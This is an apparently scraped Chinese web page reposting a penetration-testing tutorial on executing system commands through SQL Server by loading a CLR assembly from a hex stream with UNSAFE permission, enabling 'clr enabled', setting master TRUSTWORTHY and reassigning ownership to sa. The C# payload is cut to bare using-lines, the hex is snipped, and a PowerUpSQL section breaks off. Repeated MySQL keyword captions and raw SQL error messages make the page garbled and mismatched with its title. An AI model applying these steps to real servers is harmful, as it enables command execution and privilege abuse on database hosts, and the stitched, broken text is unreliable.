mysql命令执行sql脚本 如何通过SQL Server执行系统命令?

09/11 06:13:58 来源网站:辅助卡盟网

创建CLR有两种方式:

方式一:使用DLL文件进行创建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

方式二:使用文件16进制流进行创建

CREATE ASSEMBLY AssemblyName from 文件十六进制流

对于做渗透的我们,当然是没有文件是最好的方式了,因此,本文主要介绍方式二。以下为详细测试步骤:

1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2015跟SQL2012。

2、创建一个新的SQL Server数据库项目

mysql命令执行sql文件_mysql命令执行sql脚本_mysql执行存储过程脚本

3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。

mysql执行存储过程脚本_mysql命令执行sql文件_mysql命令执行sql脚本

4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程

mysql命令执行sql脚本_mysql命令执行sql文件_mysql执行存储过程脚本

5、填入以下测试代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;

mysql命令执行sql脚本_mysql命令执行sql文件_mysql执行存储过程脚本

6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件。

mysql命令执行sql脚本_mysql执行存储过程脚本_mysql命令执行sql文件

7、双击此文件进行解压,将解压出一个名为mode.sql的文件。

8、执行SQL文件中的以下语句

CREATE ASSEMBLY [ExecCode]
    AUTHORIZATION [dbo]
    FROM 0x4D5A[...snip...]
    WITH PERMISSION_SET = UNSAFE;

mysql执行存储过程脚本_mysql命令执行sql脚本_mysql命令执行sql文件

之后执行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]

AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

mysql执行存储过程脚本_mysql命令执行sql文件_mysql命令执行sql脚本

9、开启数据库服务器配置选项clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE 
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE
--如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

mysql命令执行sql文件_mysql命令执行sql脚本_mysql执行存储过程脚本

10、执行命令:

EXEC [dbo].[SqlStoredProcedure1];

mysql命令执行sql脚本_mysql执行存储过程脚本_mysql命令执行sql文件

如果没成功,可以换个数据库试试看。

11、删除存储过程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

0x04 PowerUpSQL

当然针对SQL Server的攻击,有一个强大的工具PowerUpSQL,里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。

SQL Error: select * from ***_ecms_game where title like '%mysql命令执行sql脚本 如何通过SQL Server执行系统命令?%' or INSTR('mysql命令执行sql脚本 如何通过SQL Server执行系统命令?',title)>0 order by newstime desc limit 10

游戏推荐

更多>
    SQL Error: select * from ***_ecms_game where titlepic<>'' order by newstime desc limit 6